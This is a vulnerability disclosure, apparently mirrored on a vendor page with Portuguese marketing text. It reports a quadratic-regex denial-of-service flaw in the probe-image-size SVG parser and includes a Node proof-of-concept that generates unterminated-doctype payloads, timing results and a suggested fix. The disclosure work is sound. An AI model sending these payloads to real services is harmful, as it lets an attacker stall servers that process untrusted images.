
PEACH
Uma estrutura de isolamento de inquilino
Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone. Found with AploSec, our security scanner, and confirmed by execution.
The SVG header parser rewrite that fixed GHSA-gjj5-9665-rwrc (CVE-2026-104861) introduced a different quadratic regex, in the doctype alternative. An SVG that opens a doctype internal subset and never closes it costs about 120 ms of event-loop time per probe at the 10 KiB input cap, against under 1 ms for a normal SVG.
lib/common/svg_header.js:32. The doctype alternative of PROLOG_RE is <![A-Za-z][^[>]*(?:\[[\s\S]*?\][^>]*)?>. On <!a[ followed by many ] and no >, the lazy [\s\S]*?\] stops at each ] in turn, and [^>]* then rescans the rest of the input before failing, so the match is O(n^2). The other prolog constructs (processing instructions, comments, CDATA, root attributes, whitespace) are linear in the same test.
Reachable through probe.sync (lib/parse_sync/svg.js) and probe(stream) / probe(url) (lib/parse_stream/svg.js). Both cap the input at MAX_DATA_LENGTH = 10240, which bounds the cost per call.
Attacker model: remote and unauthenticated. The attacker supplies an SVG (bytes or URL) to a service that calls probe-image-size.
const probe = require('probe-image-size')
const hdr = require('probe-image-size/lib/common/svg_header')
const ms = f => { const s = process.hrtime.bigint(); try { f() } catch (e) {} return (Number(process.hrtime.bigint() - s) / 1e6).toFixed(1) }
const attack = n => '<!a[' + ']'.repeat(n - 4) // unterminated doctype internal subset, no '>'
const control = n => '<!a[' + ']'.repeat(n - 4) + '>' // same bytes, terminated
for (const n of [2500, 5000, 10000, 20000, 40000])
console.log('svg_header.parse', n, 'attack', ms(() => hdr.parse(attack(n))), 'ms, control', ms(() => hdr.parse(control(n))), 'ms')
for (const n of [2500, 5000, 10000, 10240, 50000])
console.log('probe.sync', n, 'attack', ms(() => probe.sync(Buffer.from(attack(n), 'latin1'))), 'ms')Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none.
Controls:
> parse in 0.0 to 0.1 ms at every size.'<a'.repeat(n / 2) takes 1,794 ms at 50 KB on 7.3.0 and 0 to 1 ms on 7.4.0, so the parent fix works and the harness can detect slowness.
Results (7.4.0):svg_header.parse n=2500 7.2 ms | 5000 28.2 ms | 10000 115.5 ms | 20000 453.4 ms | 40000 1816.3 ms (4x per doubling)
probe.sync 2500 B 8 ms | 5000 B 30 ms | 10000 B 121 ms | 10240 B 123 ms | 50000 B 124 ms (plateau at the cap)
5 sequential probe.sync calls on the 10240 B payload: 611 ms
probe(stream), single 10240 B chunk: 129 msA rerun of the exact script above on 2026-10-22, on a faster host (Docker on Apple Silicon), gave the same quadratic growth: 3.2 / 12.9 / 42.6 / 215.7 / 623.3 ms for svg_header.parse, and 41 ms for probe.sync at the 10240 B cap.
Feeding the stream parser one > per chunk does not multiply the cost: a > right after the first ] ends the doctype, so only short, linear re-parses happen (137 ms at 10 KiB with 1-byte chunks).
Low. The 10 KiB cap limits each probe to about 120 ms of blocked event loop, roughly 1000x a normal parse. It matters for services that probe many untrusted SVGs, where a sustained request rate turns it into a denial of service.
Make the internal subset scan linear, for example (?:\[[^\]]*\][^>]*)? in place of (?:\[[\s\S]*?\][^>]*)?, or scan the doctype with indexOf instead of a regex.
Zachariah Mithani (zachariah@aplosai.com)
AploSec (aplosec.si)
Credit: Zachariah Mithani (@zachariah-mithani, AploSec)
Origem: NVD
Avaliação Gratuita de Vulnerabilidades
Avalie suas práticas de segurança em nuvem em 9 domínios de segurança para avaliar seu nível de risco e identificar lacunas em suas defesas.
Marque uma demonstração personalizada
"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."